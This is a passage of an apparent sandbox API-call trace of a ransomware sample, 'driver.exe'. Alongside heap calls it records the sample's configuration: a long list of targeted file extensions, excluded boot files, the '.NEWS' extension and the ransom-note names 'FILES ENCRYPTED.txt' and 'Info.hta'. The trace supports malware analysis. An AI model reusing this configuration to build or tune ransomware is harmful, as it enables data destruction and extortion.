RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c948 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c960 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c978 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c990 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5fa008 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c9d0 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c9e8 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ca00 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ca18 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ca30 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ca48 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ca60 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ca78 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ca90 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x60caa8 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cac0 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x60cad8 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60caf0 [0041.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cb08 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cb20 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cb38 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cb50 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60cb68 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cb80 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cb98 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cbb0 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cbc8 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cbe0 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cbf8 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cc10 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cc28 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cc40 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cc58 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cc70 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cc88 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cca0 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ccb8 [0041.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ccd0 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cce8 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cd00 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x60cd18 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12) returned 0x5f5f00 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cd30 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cd48 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cd60 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cd78 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cd90 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cdd0 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cde8 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ce00 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ce18 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ce30 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ce48 [0041.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ce60 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ce78 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ce90 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cea8 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cec0 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60ced8 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cef0 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cf08 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cf20 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60cf38 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60cf50 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60cf68 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x60cf80 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60cf98 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5fa018 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cfb0 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5fa028 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cfc8 [0041.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cfe0 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60cff8 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60d010 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60d028 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60d040 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60d058 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60d070 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60d088 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60d0a0 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60d0b8 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60d0d0 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60d0e8 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60d100 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5fa038 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60d118 [0041.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60d130 [0041.728] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9198, Size=0x800) returned 0x60d5b8 [0041.728] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0041.728] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b5b0 | out: hHeap=0x5c0000) returned 1 [0041.728] lstrlenW (lpString="") returned 0 [0041.728] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60def8 | out: hHeap=0x5c0000) returned 1 [0041.728] lstrlenW (lpString=".NEWS") returned 5 [0041.729] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4750, Size=0x8) returned 0x5d4750 [0041.729] lstrlenW (lpString=".NEWS") returned 5 [0041.729] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60def8 | out: hHeap=0x5c0000) returned 1 [0041.729] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60df28, Size=0x20) returned 0x5d4370 [0041.729] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4370, Size=0x40) returned 0x5f6a80 [0041.729] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6a80, Size=0x80) returned 0x61b5b8 [0041.729] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0a8, Size=0x8) returned 0x5fa0b8 [0041.729] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0b8, Size=0x10) returned 0x60df28 [0041.730] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60df28, Size=0x20) returned 0x5d4348 [0041.730] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0041.730] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b5b8 | out: hHeap=0x5c0000) returned 1 [0041.730] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60df58, Size=0x20) returned 0x5f5930 [0041.730] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5930, Size=0x40) returned 0x5f6a80 [0041.730] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0041.730] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0041.730] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6a80 | out: hHeap=0x5c0000) returned 1 [0041.731] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60df58, Size=0x20) returned 0x5f5930 [0041.731] lstrlenW (lpString="Info.hta") returned 8 [0041.731] lstrlenW (lpString="Info.hta") returned 8 [0041.731] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5930 | out: hHeap=0x5c0000) returned 1 [0041.731] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x62d5a8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\driver.exe")) returned 0x30 [0041.731] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5a8 | out: hHeap=0x5c0000) returned 1 [0041.731] lstrlenW (lpString="driver.exe") returned 10 [0041.731] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4348, Size=0x40) returned 0x5f6a80 [0041.731] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60df58, Size=0x20) returned 0x5d4348 [0041.732] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60df58, Size=0x20) returned 0x5f5930 [0041.732] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5930, Size=0x40) returned 0x5f6ac8 [0041.732] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6ac8, Size=0x80) returned 0x61b5b8 [0041.732] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x5fa3b0 [0041.732] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa3b0 | out: hHeap=0x5c0000) returned 1 [0041.733] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x62d5a8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0041.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63d5b0 | out: hHeap=0x5c0000) returned 1 [0041.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5a8 | out: hHeap=0x5c0000) returned 1 [0041.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0b8, Size=0x8) returned 0x5fa0a8 [0041.733] lstrlenW (lpString="%windir%;") returned 9 [0041.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4348 | out: hHeap=0x5c0000) returned 1 [0041.733] lstrlenW (lpString="C:\\Windows;") returned 11 [0041.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61d5a0 | out: hHeap=0x5c0000) returned 1 [0041.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60df70, Size=0x20) returned 0x5d4348 [0041.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4348, Size=0x40) returned 0x5f6ac8 [0041.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6ac8, Size=0x80) returned 0x61b5b8 [0041.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x5fa3b0 [0041.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0e8, Size=0x8) returned 0x5fa0f8 [0041.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0f8, Size=0x10) returned 0x60dfb8 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60dfb8, Size=0x20) returned 0x5d4348 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0b8, Size=0x8) returned 0x5fa0f8 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0c8, Size=0x8) returned 0x5fa0b8 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0e8, Size=0x8) returned 0x5fa108 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa108, Size=0x10) returned 0x60e060 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60e060, Size=0x20) returned 0x5f5930 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0f8, Size=0x10) returned 0x60e060 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0b8, Size=0x10) returned 0x60e090 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa0f8, Size=0x8) returned 0x5fa0e8 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa118, Size=0x8) returned 0x5fa128 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60e060, Size=0x20) returned 0x5f58e0 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60e090, Size=0x20) returned 0x5f5840 [0041.734] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa138, Size=0x8) returned 0x5fa148 [0041.735] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0041.735] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa3b0 | out: hHeap=0x5c0000) returned 1 [0041.735] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60e108, Size=0x20) returned 0x5f5958 [0041.735] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x61d5a0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0041.735] lstrlenW (lpString="C:\\") returned 3 [0041.735] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.736] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61d5a0 | out: hHeap=0x5c0000) returned 1 [0041.736] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa178, Size=0x82) returned 0x60ba40 [0041.736] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa198, Size=0x100) returned 0x60bad0 [0041.736] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60ba40, Size=0x104) returned 0x60bcf8 [0041.737] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60bad0, Size=0x200) returned 0x60be08 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa188 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60be08 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b658 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b750 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e168 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b7d8 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e198 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60bcf8 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e180 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60bbd8 | out: hHeap=0x5c0000) returned 1 [0041.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b670 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60bc68 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b688 | out: hHeap=0x5c0000) returned 1 [0041.739] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60e180, Size=0x20) returned 0x5f5980 [0041.739] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5980, Size=0x40) returned 0x5f6ac8 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa158 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e108 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b5b0 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e138 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b6c8 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e120 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa168 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e150 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa488 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6000 | out: hHeap=0x5c0000) returned 1 [0041.739] lstrlenW (lpString="%systemdrive%") returned 13 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5958 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b5b8 | out: hHeap=0x5c0000) returned 1 [0041.739] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fa138 | out: hHeap=0x5c0000) returned 1 [0041.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5fb590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0041.741] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60e150, Size=0x20) returned 0x5f5980 [0041.741] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5980, Size=0x40) returned 0x5f6b10 [0041.741] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b10, Size=0x80) returned 0x61b5b8 [0041.741] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x60ba40 [0041.741] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60ba40, Size=0x200) returned 0x60ba40 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60ba40, Size=0x400) returned 0x60ba40 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60ba40, Size=0x800) returned 0x60ba40 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60ba40, Size=0x1000) returned 0x6101c8 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa138, Size=0x8) returned 0x5fa158 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fa158, Size=0x10) returned 0x60e168 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60e168, Size=0x20) returned 0x5f5980 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5980, Size=0x40) returned 0x5f6b10 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b10, Size=0x80) returned 0x61b5b8 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x6111e8 [0041.742] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6111e8, Size=0x200) returned 0x60be40 [0041.743] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x60be40, Size=0x400) returned 0x6131d0 [0041.743] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6131d0, Size=0x800) returned 0x6141d8 [0041.743] lstrlenW 